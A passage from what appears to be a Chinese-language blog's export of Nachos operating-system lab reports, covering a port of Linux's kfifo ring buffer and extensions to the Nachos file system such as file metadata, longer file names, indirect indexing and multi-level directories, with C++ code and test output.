sharedFile value 6Thread Read_2 is reading, sharedFile value 6Thread Read_3 unlocked, readerWaiters 0, writeWaiters 0, refCount 2Thread Read_2 unlocked, readerWaiters 0, writeWaiters 0, refCount 1Thread Read_1 unlocked, readerWaiters 0, writeWaiters 0, refCount 0No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 1100, idle 10, system 1090, user 0Disk I/O: reads 0, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Challenge 3 研究Linux的kfifo机制是否可以移植到Nachos上作为一个新的同步模块思路kfifo是一个Linux内核使用的环形缓冲区。该缓冲区要求一次仅能有一个写进程和一个读进程在同时工作。其缓冲区如下图,in表示写者写入的位置,out表示读者开始读的位置。因为这种类似与生产者消费者的工作模式(即只要生产了数据,即可立即消费数据),同时缓冲区的数据满足FIFO的特性,所以可以使用一个队列来实现。 从Linux内核中kfifo的实现方式可以看到,需要有一个存储数据的共享缓冲区、该缓冲区的大小(以2的幂次较好,in % size 可以转化为 in & (size – 1))、in添加数据的起始游标、out输出数据的起始游标、以及一个自旋锁(用于防止重入)。 Linux中kfifo的实现1234567struct kfifo { unsigned char *buffer; /* the buffer holding the data */ unsigned int size; /* the size of the allocated buffer */ unsigned int in; /* data is added at offset (in % size) */ unsigned int out; /* data is extracted from off. (out % size) */ spinlock_t *lock; /* protects concurrent modifications */}; kfifo的巧妙之处在于in和out定义为无符号类型,在put和get时,in和out都是增加,当达到最大值时,产生溢出,使得从0开始,进行循环使用。如下图,当in溢出后,in的位置比out低,但是缓冲区数据的长度仍是in - out。 另外kfifo还使用了内存屏障(smp_mb、smp_wmb、smp_rmb),用于来处理kfifo中读/写和out/in指针更新之间可能存在的内存乱序访问的情况。但是在单CPU的情况下,多线程执行不存在运行时内存乱序访问,因此对于只支持单CPU的Nachos来说,不需要考虑实现内存屏障。 实现首先在machine/sysdep.h中声明Memcpy的函数,然后在machine/sysdep.cc中实现。该函数用于kfifo中缓冲区的写入和读取。 123456789101112/* * machine/sysdep.h */// 内存拷贝函数extern void* Memcpy(void *str1, const void *str2, unsigned int n);/* * machine/sysdep.cc */void* Memcpy(void *str1, const void *str2, unsigned int n) { return memcpy(str1, str2, n);} 然后KFifo类的声明如下,包含基本的缓冲区buffer,缓冲区大小size,输入游标in,输出游标out,输入函数Put,输出函数Get,以及缓冲区使用空间查询函数BufferUsedSize。 为了简便,这里删去了Linux中用到的自旋锁,自旋锁是为了保证同一时刻最多有一个读者和一个写者在操作KFifo。 1234567891011121314151617/* * threads/synch.h */class KFifo {public: KFifo(char * debugname, unsigned int bufsize); ~KFifo(); unsigned int Put(char * inBuff, int len); unsigned int Get(char * oufBuff, int len); unsigned int BufferUsedSize();private: char * name; unsigned char * buffer; unsigned int size; // 缓冲区大小 unsigned int in; // 输入的位置 unsigned int out; // 输出的位置}; 接下来是其主要功能的实现,位于threads/synch.cc。对于构造函数,在这里除了基本的初始化之外,最重要的是将缓冲区的大小向上取整,为了后续计算的方便。 1234567891011121314KFifo::KFifo(char *debugname, unsigned int bufSize) { name = debugname; ASSERT(bufSize <= (1 << 31)); // 无法表示 1 << 32 的整数 unsigned int upSize = 1; while (upSize < bufSize) { upSize = upSize << 1; } size = upSize; // 大小向上取2的倍数,好处为对size的取模运算可以转化为与运算 buffer = new char[size]; in = 0; out = 0;}KFifo::~KFifo() { delete buffer;} Put函数的实现。首先是计算可以访问的空间,将传入数据的长度len和缓冲区的剩余空间size - in + out取较小值,即为缓冲区能够写入的数据大小。为了模拟循环队列,先尝试将输入从in一直写入到buffer(buffer自身是线性存储)的末尾;如果仍有数据要写入,则继续从buffer的头部开始写入。 123456789101112unsigned int KFifo::Put(char *inBuff, int len) { unsigned int l; // 从in到缓冲区末尾的长度 len = min(len, size - in + out); // 空闲空间 // 先将数据从in写到buffer的末尾 l = min(len, size - (in & (size - 1))); Memcpy(buffer + (in & (size - 1)), inBuff, l); // 然后将剩余部分写在buffer的头部 Memcpy(buffer, buffer + l, len - l); in += len; return len;} Get函数的实现与Put类似。首先是计算可以读取的数据长度,将传入待读取长度len和缓冲区的数据长度in - out取较小值,即为缓冲区能够写入的数据大小。同样为了模拟循环队列,先尝试将输出从out一直读取到buffer(buffer自身是线性存储)的末尾;如果仍有数据要读取,则考虑继续从buffer的头部开始读取。 1234567891011121314unsigned int KFifo::Get(char *oufBuff, int len) { unsigned int l; // 从in到缓冲区末尾的长度 len = min(len, in - out); // 可读的数据 // 先读取从out到buffer末尾的部分 l = min(len, size - (out & (size - 1))); Memcpy(oufBuff, buffer + (out & (size - 1)), l); // 然后继续读取位于buffer头部的部分 Memcpy(oufBuff + l, buffer, len - l); out += len; if (in == out) { in = 0; out = 0; } // 二者相等时buffer为空,所以置0 return len;} 最后编写测试函数。写者每次向缓冲区写入随机长度的字符,读者则每次从缓冲区读取随机长度的字符并打印。仅同时存在一个读者和一个写者。 123456789101112131415161718192021222324252627282930313233343536KFifo* kFifo = new KFifo("KFifo Test", 256);void BuffWriter(int which) { int num = 5; while (num--) { char * inBuff = "abcdefghijklmnopqrstuvwxyz"; int len = Random() % 26; int r = kFifo->Put(inBuff, len); printf("Thread %s try to put %d chars in kFifo, finally %d in\\n", currentThread->getName(), len, r); currentThread->Yield(); }}void BuffReader(int which) { int num = 5; while (num--) { char outBuff[256]; int len = Random() % 26; int r = kFifo->Get(outBuff, len); printf("Thread %s try to get %d chars from kFifo, finally %d out\\n", currentThread->getName(), len, r); outBuff[r] = '\\0'; printf("Read Info => %s == now buffer unread size %d\\n", outBuff, kFifo->BufferUsedSize()); currentThread->Yield(); }}voidThreadTest9() { DEBUG('t', "Entering ThreadTest5\\n"); Thread* read = new Thread("Read"); Thread* write = new Thread("Write"); write->Fork(BuffWriter, (void*)0); read->Fork(BuffReader, (void*)0);} 测试结果如下。 Shell执行结果123456789101112131415161718192021222324252627root@b5500d28dd66:/nachos/nachos-3.4/code/threads# ./nachos -q 9Thread Write try to put 13 chars in kFifo, finally 13 inThread Read try to get 22 chars from kFifo, finally 13 outRead Info => abcdefghijklm == now buffer unread size 0Thread Read try to get 11 chars from kFifo, finally 0 outRead Info => == now buffer unread size 0Thread Write try to put 17 chars in kFifo, finally 17 inThread Read try to get 1 chars from kFifo, finally 1 outRead Info => a == now buffer unread size 16Thread Write try to put 1 chars in kFifo, finally 1 inThread Read try to get 12 chars from kFifo, finally 12 outRead Info => bcdefghijklm == now buffer unread size 5Thread Write try to put 16 chars in kFifo, finally 16 inThread Read try to get 1 chars from kFifo, finally 1 outRead Info => n == now buffer unread size 20Thread Write try to put 7 chars in kFifo, finally 7 inNo threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 180, idle 10, system 170, user 0Disk I/O: reads 0, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... 遇到的困难以及解决方法参考文献[1] 荒野之萍. Nachos-Lab3-同步与互斥机制模块实现[EB/OL]. https://icoty.github.io/2019/05/14/nachos-3-4-Lab3/ [2] Github. Nachos中文教程.pdf[EB/OL]. https://github.com/zhanglizeyi/CSE120/blob/master/Nachos%E4%B8%AD%E6%96%87%E6%95%99%E7%A8%8B.pdf [3] 维基百科. 读写锁[EB/OL]. https://zh.wikipedia.org/wiki/%E8%AF%BB%E5%86%99%E9%94%81 [4] 博客园. 一步一步实现读写锁[EB/OL]. https://www.cnblogs.com/myd620/p/6129112.html [5] 知乎. 深入理解 Linux 的 RCU 机制[EB/OL]. https://zhuanlan.zhihu.com/p/30583695 [6] 博客园. Linux 下的同步机制[EB/OL]. https://www.cnblogs.com/ck1020/p/6532985.html [7] CSDN. Linux各种同步机制的比较[EB/OL]. https://blog.csdn.net/q921374795/article/details/88814272?utm_medium=distribute.pc_relevant.none-task-blog-baidulandingword-3&spm=1001.2101.3001.4242 [8] CSDN. linux内核同步机制中的概念介绍和方法[EB/OL]. https://blog.csdn.net/wealoong/article/details/7957385?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control [9] CSDN. 神奇的大内核锁[EB/OL]. https://blog.csdn.net/DLUTBruceZhang/article/details/11037159 [10] 博客园. linux内核数据结构之kfifo[EB/OL]. https://www.cnblogs.com/anker/p/3481373.html","link":"/2020/11/22/Nachos-Lab03-%E5%90%8C%E6%AD%A5%E6%9C%BA%E5%88%B6/"},{"title":"Nachos Lab04 文件系统","text":"文件系统的基本操作Exercise 1 源代码阅读 阅读Nachos源代码中与文件系统相关的代码,理解Nachos文件系统的工作原理。 code/filesys/filesys.h和code/filesys/filesys.cc code/filesys/filehdr.h和code/filesys/filehdr.cc code/filesys/directory.h和code/filesys/directory.cc code/filesys/openfile.h和code/filesys/openfile.cc code/userprog/bitmap.h和code/userprog/bitmap.cc code/filesys/filesys.h和code/filesys/filesys.cc:这里是文件系统的实现,文件系统是存储在磁盘上的,按目录组织的一组文件,提供了根据文件名来创建、打开、删除操作。文件系统包含两个重要数据结构空闲空间位图以及目录。而对于文件系统上的每个文件均包含文件头、数据块数量和目录项。 该文件系统存在两个实现版本“STUB”和“REAL”。“STUB”版本只是将文件系统定义为运行在Nachos中的对本机Unix文件系统的操作;“REAL”版本是在磁盘模拟器上构建的文件系统,其利用本机Unix文件系统来模拟磁盘(DISK)。 code/filesys/filehdr.h和code/filesys/filehdr.cc:这里是关于文件头结构的定义和实现。一个文件头部描述了如何在磁盘上获取文件数据,以及长度,所有者等等信息。 code/filesys/directory.h和code/filesys/directory.cc:这里是目录和目录项的定义和实现。目录是一个表用于记录<文件名,扇区号>数据对,提供目录中的文件名及其文件头所在磁盘位置的信息。 code/filesys/openfile.h和code/filesys/openfile.cc :这里是文件结构的定义和实现。提供了打开,关闭,读写等文件操作方法。此处同样提供了两种实现版本“STUB”和“REAL”。 code/userprog/bitmap.h和code/userprog/bitmap.cc :这两个文件用于实现一个位图结构。该位图支持对某个一个位进行设置(Mark)、清除(Clear)和测试是否设置(Test),以及从位图中查找一个Clear值(Find)和Clear所有的值(NumClear)。除此之外,还支持持久化存储,即将位图保存到文件(WriteBack)以及从文件还原位图数据(FetchFrom)。 Exercise 2 扩展文件属性 增加文件描述信息,如“类型”、“创建时间”、“上次访问时间”、“上次修改时间”、“路径”等等。尝试突破文件名长度的限制。 思路这里需要注意的是,从文件系统的Create方法以及文件头的WriteBack方法中可以看到,初始的文件头仅用了一个磁盘块存储,也就是说文件头FileHeader的大小不能超过一个磁盘块大小(128 Bytes)。 文件磁盘块数量。在filehdr.h中设置了一个宏NumDirect用于记录一个文件头部能够存储的直接磁盘块数量。FileHeader仅放在一个磁盘块中,并且记录两个整数numBytes和numSectors,剩余空间均为该文件头可记录的磁盘块。如果修改了FileHeader的数据结构,如增加描述信息,则需要修改该宏避免数据溢出。对于目录文件也存在DirectoryEntry数据结构大小影响目录条目存储上限的问题,但由于预设数量仅为10(定义于code/filesys/filesys.cc文件中的#define NumDirEntries 10)。 1#define NumDirect ((SectorSize - 2 * sizeof(int)) / sizeof(int)) 突破文件名长度。如果仍是采取文件名定长的方式,仅修改FileNameMaxLen该宏的大小,则不影响。但是如果换成了不定长的文件名,则需要对下列函数中的strncmp字符串比较函数(定长比较)修改为strcmp函数(不定长比较)。可能存在这一问题的还有Directory::Add中的strncpy函数(是否需要修改看不定长文件名的实现方式)。 不定长的文件名存在一个较为麻烦的问题:将变量(如目录)写回磁盘的时候,写回的是文件名的指针,而不是字符串。这也就意味着,当Nachos执行结束之后,再次执行,所有的文件名会失效。 123456789101112131415161718192021222324intDirectory::FindIndex(char *name){ for (int i = 0; i < tableSize; i++) if (table[i].inUse && !strncmp(table[i].name, name, FileNameMaxLen)) return i; return -1; // name not in directory}boolDirectory::Add(char *name, int newSector){ if (FindIndex(name) != -1) return FALSE; for (int i = 0; i < tableSize; i++) if (!table[i].inUse) { table[i].inUse = TRUE; strncpy(table[i].name, name, FileNameMaxLen); table[i].sector = newSector; return TRUE; } return FALSE; // no space. Fix when we have extensible files.} 测试函数。由于此时还未实现动态文件大小,因此fstest中的测试函数中利用文件系统创建文件时,不能将初始大小设为0。否则会出现无法写入,或无法读取的情况。 12345678910static void FileWrite(){... if (!fileSystem->Create(FileName, 0)) { printf("Perf test: can't create %s\\n", FileName); return; }...} 实现结合Exercise 1中阅读的信息可以得知,文件的描述信息可以考虑在目录项或者文件头中记录。这里为了后续实现的方便,描述信息部分放在FileHeader文件头中,另一部分放在目录项中。 因此在filehdr.h文件中文件头FileHeader类中添加文件描述信息的私有成员crtTime、lastAccTime、lastModTime,以及相应的set和get方法。而路径则通过在文件中记录父文件夹文件头所处的磁盘块号(parDirHeaderSector)来进行反向查询。 而对于directory.h文件中的目录条目DirectoryEntry则新增文件类型和路径两个数据。文件类型目前仅分为普通文件(F_NORMAL)和目录文件(F_DIRECTORY)两种。 关于文件名长度限制。可以发现,仅在目录文件的目录项结构中出现了关于文件名的记录,并且使用了FileNameMaxLen常量来限制最大文件长度。因此可以通过将固定长度的字符数组修改为指针。 1234567891011121314151617181920212223242526272829303132333435363738394041424344/* * code/filesys/filehdr.h */class FileHeader { public:... int getCrtTime() {return crtTime;} void setCrtTime(int ct) {crtTime = ct;} int getLastAccTime() {return lastAccTime;} void setLastAccTime(int lat) {lastAccTime = lat;} int getLastModTime() {return lastModTime;} void setLastModTime(int lmt) {lastModTime = lmt;} int getParDirHeaderSector() {return parDirHeaderSector;} void setParDirHeaderSector(int pds) {parDirHeaderSector = pds;} private:... int crtTime; // 创建时间 int lastAccTime; // 最后访问时间 int lastModTime; // 最后修改时间 int parDirHeaderSector; // 父文件夹文件头所处的磁盘块号};/* * code/filesys/directory.h */enum FileType { F_NORMAL, // 普通文件 F_DIRECTORY // 目录文件};class DirectoryEntry { public: bool inUse; // Is this directory entry in use? int sector; // Location on disk to find the // FileHeader for this file char * name; FileType fileType; // 文件类型}; 然后在FileHeader的初始化函数Allocate中初始化文件的描述信息。其中文件创建时间crtTime设置为当前的系统时间,并且分别在FetchFrom中更新最近访问时间,和WriteBack中更新最近修改时间。而parDirHeaderSector的初始化则是由FileSystem类来负责,所以此处为了避免出错,在创建的时候让其具有初值-1。 1234567891011121314151617181920212223242526/* * code/filesys/filehdr.cc */boolFileHeader::Allocate(BitMap *freeMap, int fileSize){ ... crtTime = stats->totalTicks; lastModTime = crtTime; lastAccTime = crtTime; parDirHeaderSector = -1;...}voidFileHeader::FetchFrom(int sector){ synchDisk->ReadSector(sector, (char *)this); lastAccTime = stats->totalTicks;}voidFileHeader::WriteBack(int sector){ synchDisk->WriteSector(sector, (char *)this); lastModTime = stats->totalTicks;} 如果在Directory中对parDirHeaderSector初始化,则需要在Directory类的Add方法中从文件头所在的磁盘块中读取文件头信息,然后修改parDirHeaderSector值,再将其写回磁盘。由于经历了一次磁盘读写,这样做的效率会比较低。所以考虑在文件创建的时候,同时对路径信息初始化。 因此对FileSystem类中的Create方法进行修改,当文件创建成功且文件头还未写回磁盘时,向文件头设置父文件夹磁盘块号。此时还未实现多级目录,所以默认设为DirectorySector宏,该宏记录了根目录的文件头。 1234567891011121314151617/* * code/filesys/filesys.cc */boolFileSystem::Create(char *name, int initialSize){... else { success = TRUE; hdr->setParDirHeaderSector(DirectorySector); // everthing worked, flush all changes back to disk hdr->WriteBack(sector); directory->WriteBack(directoryFile); freeMap->WriteBack(freeMapFile); }...} 目录条目DirectoryEntry中新增的信息也在Directory中对其初始化。重载Directory的Add方法,新增传入文件类型,用于对文件类型进行初始化。在Add中对于不定长的文件名的处理方式就是通过new来动态申请一个空间来存放文件名。因为文件名是动态的,因此在移除文件的时候,也需要在Remove中使用delete进行删除。 为了辅助路径功能的实现,添加了一个FindName方法,用于根据文件头的磁盘块号获取文件名。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253/* * code/filesys/directory.h */class Directory {... bool Add(char *name, int newSector, FileType fileType); char * FindName(int fSector); // 根据磁盘块号获取文件名...}/* * code/filesys/directory.cc */boolDirectory::Add(char *name, int newSector, FileType fileType) { if (FindIndex(name) != -1) return FALSE; for (int i = 0; i < tableSize; i++) if (!table[i].inUse) { table[i].inUse = TRUE; int lens = strlen(name); table[i].name = new char [lens + 1]; strncpy(table[i].name, name, lens); table[i].name[lens] = '\\0'; table[i].sector = newSector; table[i].fileType = fileType; return TRUE; } return FALSE;}boolDirectory::Remove(char *name){ int i = FindIndex(name); if (i == -1) return FALSE; // name not in directory table[i].inUse = FALSE; delete table[i].name; return TRUE; }char * Directory::FindName(int fSector) { for (int i = 0; i < tableSize; i++) { if (table[i].inUse && table[i].sector == fSector) { return table[i].name; } }} 然后在code/filesys/filesys.h中新增一个PrintPath函数。通过提供当前的文件的文件名(name)以及其所属文件夹的文件头磁盘块号(parDirHeaderSector),来进行反向查询文件路径。 其反向查询的思路为,以当前文件的文件夹为起点,向上获取目录的父目录的信息,然后根据这个目录的父目录去获取当前目录的目录名。查询过程如上图所示。此处省略了路径字符串的反向处理,因此路径的显示与实际相反。即Unix下/usr/a,而Nachos下a/usr/。 1234567891011121314151617181920212223242526272829303132333435363738394041424344/* * code/filesys/filesys.h */class FileSystem { public:... void PrintPath(int parDirHeaderSector, char * name); private:...};/* * code/filesys/filesys.cc */void FileSystem::PrintPath(int sector, char * name) { FileHeader *hdr; OpenFile * dirFile; Directory * directory; int parSector; printf("%s/", name); do { if (sector == -1) sector = DirectorySector; hdr = new FileHeader; hdr->FetchFrom(sector); parSector = hdr->getParDirHeaderSector(); if (parSector != -1) { dirFile = new OpenFile(parSector); // hdr表示当前目录,其记录的是目录的父目录 directory = new Directory(NumDirEntries); directory->FetchFrom(dirFile); name = directory->FindName(sector); printf("%s/", name); delete dirFile; delete directory; } sector = parSector; delete hdr; } while (sector != DirectorySector && sector != -1);} 做完上述修改之后,为了避免出现问题,对源代码进行一定的修改。由于FileHeader新增了数据成员,大小发生了变化,因此修改code/filesys/filehdr.h文件中的NumDirect宏,重新计算新的值。 另外,由于将文件名换成了指针,变成了不定长,所以修改code/filesys/directory.cc文件中的FindIndex函数中调用的定长strncmp字符串比较函数替换为支持不定长比较的strcmp函数。以及将同文件中的Add函数中的strncpy修改为指针赋值(字符串常量存储在静态存储区,因此函数结束时空间不会被回收)。 测试然后此时修改测试函数,将文件初始大小设为FileSize。 12345678910/* * code/filesys/fstest.cc */static void FileWrite(){... if (!fileSystem->Create(FileName, FileSize)) {...} 为方便查看效果,在code/filesys/filehdr.h的FileHeader中新增PrintFileDesc方法,用于打印文件头内存储的信息,并在测试函数PerformanceTest(位于code/filesys/fstest.cc)中执行的读写操作成功时调用。 1234567void FileHeader::PrintFileDesc(char * name) { printf("File stat contents in FileHeader. \\n"); printf("CreateTime %d, Last Access Time %d, Last Modify Time %d\\n", crtTime, lastAccTime, lastModTime); fileSystem->PrintPath(parDirHeaderSector, name); printf("\\n");} 执行结果如下: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465root@02487b68b87e:/nachos/nachos-3.4/code/filesys# ./nachos -tStarting file system performance test:Ticks: total 1130, idle 1000, system 130, user 0Disk I/O: reads 2, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Sequential write of 50 byte file, in 10 byte chunksWrite numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 67210, Last Modify Time 3150TestFile/Write numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 67210, Last Modify Time 3150TestFile/Write numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 67210, Last Modify Time 3150TestFile/Write numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 67210, Last Modify Time 3150TestFile/Write numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 67210, Last Modify Time 3150TestFile/Sequential read of 50 byte file, in 10 byte chunksRead numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 149770, Last Modify Time 3150TestFile/Read numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 149770, Last Modify Time 3150TestFile/Read numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 149770, Last Modify Time 3150TestFile/Read numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 149770, Last Modify Time 3150TestFile/Read numBytes -> 10File stat contents in FileHeader. CreateTime 3150, Last Access Time 149770, Last Modify Time 3150TestFile/Ticks: total 194530, idle 191710, system 2820, user 0Disk I/O: reads 37, writes 12Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 194540, idle 191720, system 2820, user 0Disk I/O: reads 37, writes 12Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Exercise 3 扩展文件长度 改直接索引为间接索引,以突破文件长度不能超过4KB的限制。 思路将部分直接索引块替换成多级索引块,为方便实现可以仅考虑实现一级索引。一张索引表用一个磁盘块存储,因此需要有一个索引表结构处理该磁盘块上的数据。 然后分别对涉及文件大小的三个函数FileHeader::Allocate、FileHeader::Deallocate、FileHeader::ByteToSector进行处理以适应新的文件数据块索引方式。 实现拓展文件长度的方式则是参照Unix文件系统的方式,在文件头中注册一定数量的直接索引,以及一部分的间接索引块。这次为了实现方便,仅使用一级索引和直接索引。 首先在code/filesys/filehdr.h中添加一些宏,添加宏的主要用途就是定义一级索引表的数量,然后修改直接索引宏的数量计算公式。此处分配了7个磁盘块指针用于存储一级索引表,剩余的20个指针则全部用于直接索引。 12345678910111213141516171819202122/* * code/filesys/filehdr.h */// 索引表条目数,其中扇区号用整数存储,此时的值为32#define NumTableEntry (SectorSize / sizeof(int)) // 一级索引表数量#define NumTable_LV1 7 // 一级索引表最大存储大小#define MaxTableSize_LV1 (NumTable_LV1 * NumTableEntry * SectorSize) // 直接索引块数量,此时的值为20#define NumDirect ((SectorSize - 5 * sizeof(int)) / sizeof(int) - NumTable_LV1) #define MaxFileSize (NumDirect * SectorSize + MaxTableSize_LV1 * NumTable_LV1)class FileHeader {... private:... int dataSectors[NumDirect]; // Disk sector numbers for each data // block in the file int dataSectors_LV1[NumTable_LV1];...}; 紧接着,为了方便处理间接索引表,创建了一个数据结构IndexTable。其进包含两个功能,即从磁盘块中读取索引表,以及将索引表写回磁盘块。而索引表的大小(即条目数)则是来自于上面定义的宏常量NumTableEntry。 12345678910111213141516class IndexTable {public: void FetchFrom(int sectorNumber); // Initialize file header from disk void WriteBack(int sectorNumber); // Write modifications to file header // back to disk int dataSectors[NumTableEntry];};void IndexTable::FetchFrom(int sectorNumber) { synchDisk->ReadSector(sector, (char *)this);}void IndexTable::WriteBack(int sectorNumber) { synchDisk->WriteSector(sector, (char *)this);} 然后修改FileHeader的Allocate方法以处理多级索引的磁盘块分配方式。分配成功的前提是文件大小不超过可分配的最大大小(即小于MaxFileSize)。 其实现方式,则是先判断文件所需的空间是否超过直接索引的最大大小,如果没有,则按照原先的方式处理。如果超出了,则需要进一步判断,是否有空间去存储一级索引表。 当上述条件全部满足时: 先分配满全部的直接索引 超出部分则先分配一个磁盘空间给一级索引表,然后创建一级索引表结构indexTable,在索引表内填写数据之后写回磁盘 重复步骤2直至文件所需的大小 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455/* * code/filesys/filehdr.cc */boolFileHeader::Allocate(BitMap *freeMap, int fileSize){ // 超出文件最大大小 if (fileSize > MaxFileSize) return FALSE; numBytes = fileSize; numSectors = divRoundUp(fileSize, SectorSize); if (numSectors <= NumDirect) { if (freeMap->NumClear() < numSectors) return FALSE; // not enough space for (int i = 0; i < numSectors; i++) dataSectors[i] = freeMap->Find(); } else { int restNeed = numSectors - NumDirect; // 计算还需要多少个一级索引 int numSectors_LV1 = divRoundUp(restNeed, NumTableEntry); // 一级索引表也需要占用磁盘块,因此还需要考虑索引表能否存储的下 if (freeMap->NumClear() < numSectors + numSectors_LV1) return FALSE; // 直接索引分配 for (int i = 0; i < NumDirect; i++) dataSectors[i] = freeMap->Find(); // 一级索引分配 for (int i = 0; i < numSectors_LV1; i++) { dataSectors_LV1[i] = freeMap->Find(); IndexTable * indexTable = new IndexTable; // i * NumTableEntry + j代表已在一级索引表中记录的磁盘块总数 for (int j = 0; j < NumTableEntry && (i * NumTableEntry + j) < restNeed; j++) { indexTable->dataSectors[j] = freeMap->Find(); } // 将索引表写回磁盘 indexTable->WriteBack(dataSectors_LV1[i]); delete indexTable; } } crtTime = stats->totalTicks; lastModTime = crtTime; lastAccTime = crtTime; parDirHeaderSector = -1; return TRUE;} 相应的,空间回收函数Deallocate也要做相应的改动。其具体实现与Allocate相反,因此不做赘述。 1234567891011121314151617181920212223242526272829303132333435363738/* * code/filesys/filehdr.cc */void FileHeader::Deallocate(BitMap *freeMap){ if (numSectors <= NumDirect) { for (int i = 0; i < numSectors; i++) { ASSERT(freeMap->Test((int) dataSectors[i])); // ought to be marked! freeMap->Clear((int) dataSectors[i]); } } else { for (int i = 0; i < NumDirect; i++) { ASSERT(freeMap->Test((int) dataSectors[i])); // ought to be marked! freeMap->Clear((int) dataSectors[i]); } int restNeed = numSectors - NumDirect; int numSectors_LV1 = divRoundUp(restNeed, NumTableEntry); for (int i = 0; i < numSectors_LV1; i++) { IndexTable * indexTable = new IndexTable; indexTable->FetchFrom(dataSectors_LV1[i]); // i * NumTableEntry + j代表已在一级索引表中记录的磁盘块总数 for (int j = 0; j < NumTableEntry && (i * NumTableEntry + j) < restNeed; j++) { ASSERT(freeMap->Test((int) (indexTable->dataSectors[j]))); // ought to be marked! freeMap->Clear((int) (indexTable->dataSectors[j])); } delete indexTable; // 回收索引表的磁盘块 ASSERT(freeMap->Test((int) dataSectors_LV1[i])); // ought to be marked! freeMap->Clear((int) dataSectors_LV1[i]); } }} 最后还有一处重要的改动,就是对文本内字节偏移量与所属的磁盘块之间的转换函数ByteToSector的修改。其实现思路在于,如果是直接索引块,则直接返回。如果位于一级索引中,则先判断属于哪一个一级索引表(结果存储在sector_LV1中),然后从磁盘中读取该索引表,并进一步判断属于该索引表的哪个磁盘块,最终结果存储在finSector中,并返回finSector。 12345678910111213141516171819202122/* * code/filesys/filehdr.cc */intFileHeader::ByteToSector(int offset){ if (offset < NumDirect * SectorSize) { return(dataSectors[offset / SectorSize]); } else { offset -= NumDirect * SectorSize; int sector_LV1 = offset / MaxTableSize_LV1; offset = offset % MaxTableSize_LV1; IndexTable * indexTable = new IndexTable; indexTable->FetchFrom(dataSectors_LV1[sector_LV1]); int finSector = indexTable->dataSectors[offset / SectorSize]; delete indexTable; return finSector; }} 测试修改code/filesys/fstest.cc中的FileSize宏,将创建的文件大小设为超出直接块能存储的最大大小($20 \\times 128 = 2560 Bytes$),因此设为5000字节,其中ContentSize的值为10字节。 123456789101112/* * code/filesys/fstest.cc */#define FileSize ((int)(ContentSize * 500))static void FileWrite(){... if (!fileSystem->Create(FileName, FileSize)) {...} 部分测试结果如下,可以看到文件正常完成读写操作。 Exercise 4 实现多级目录思路考虑到文件系统创建文件是通过传入文件名的方式来创建文件的,也就是说默认创建在根目录中。又考虑到在Exercise 2中的路径实现,为了不大量修改之前路径的实现代码,考虑修改文件系统的实现。也就是说,在文件系统中传入的name代表的含义不再是单纯的文件名,而是文件的绝对路径(或相对路径)。 实现由于计划将文件系统中的name变量定义为绝对路径(DirectoryEntry中的name仍仅代表文件名,而非绝对路径),因此需要实现一个路径解析函数PathParse。该函数对传入的绝对路径name进行解析,返回一个字符串数组以及数组长度nums。例如传入name:="/root/123",则之行结束以后获得字符串数组{[0] => "root", [1] => "123"},且nums为2。 可以注意到,这里的路径与之前Exercise 2执行结果中打印的路径有所差异。这是因为Exercise 2中路径检索是反向的,因此输出的需要倒序,但为了方便省略了倒序输出的步骤。所以真实路径为/root/123的文件123,将路径打印输出的结果为”123/root/“。 12345678910111213141516171819202122232425262728293031323334353637383940414243/* * code/filesys/filesys.cc */char ** FileSystem::PathParse(char *name, int *nums) { char ** paths = new char*[MaxDirDeeps]; // 为了使外部能访问 *nums = 0; int lens = 0; int i = 0; // 如果不以'/'开头,则意味文件创建在根目录 if (name[0] == '/') { while (name[i] != '\\0') { if (name[i] == '/') { if (lens > 0) { paths[*nums] = new char[lens + 1]; strncpy(paths[*nums], name + i - lens, lens); paths[*nums][lens] = '\\0'; lens = 0; (*nums)++; ASSERT((*nums) <= MaxDirDeeps); // 不能超过最大深度 } } else { lens++; } i++; } } else { lens = strlen(name); i = lens; } // 处理路径的最后部分,或处理直接根目录创建的文件 if (lens > 0) { paths[*nums] = new char[lens + 1]; strncpy(paths[*nums], name + i - lens, lens); paths[*nums][lens] = '\\0'; (*nums)++; ASSERT((*nums) <= MaxDirDeeps); // 不能超过最大深度 } return paths;} 为了方便在子目录创建文件,将文件系统中的创建文件的部分抽离出来,作为函数*_create*,用于在指定的文件夹中创建指定类型的文件。该函数会返回被成功创建的文件的文件头所在的磁盘块号。然后对于目录文件,除了创建文件头之外,还需要额外的创建一个Directory对象,并将其写回磁盘,才完成了目录文件的初始化。 (注:此处使用的目录添加函数Directory::Add为重载过的版本,支持指定文件类型这一属性。) 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647/* * code/filesys/filesys.cc *///----------------------------------------------------------------------// 在指定的文件夹创建文件// 成功则返回创建好的文件头磁盘块,否则返回-1//----------------------------------------------------------------------int FileSystem::_create(BitMap *freeMap, Directory *directory, int dirSector, OpenFile * dirFile, char *name, FileType fileType, int initialSize) { bool success; FileHeader *hdr; int sector; sector = freeMap->Find(); // find a sector to hold the file header if (sector == -1) success = FALSE; // no free block for file header else if 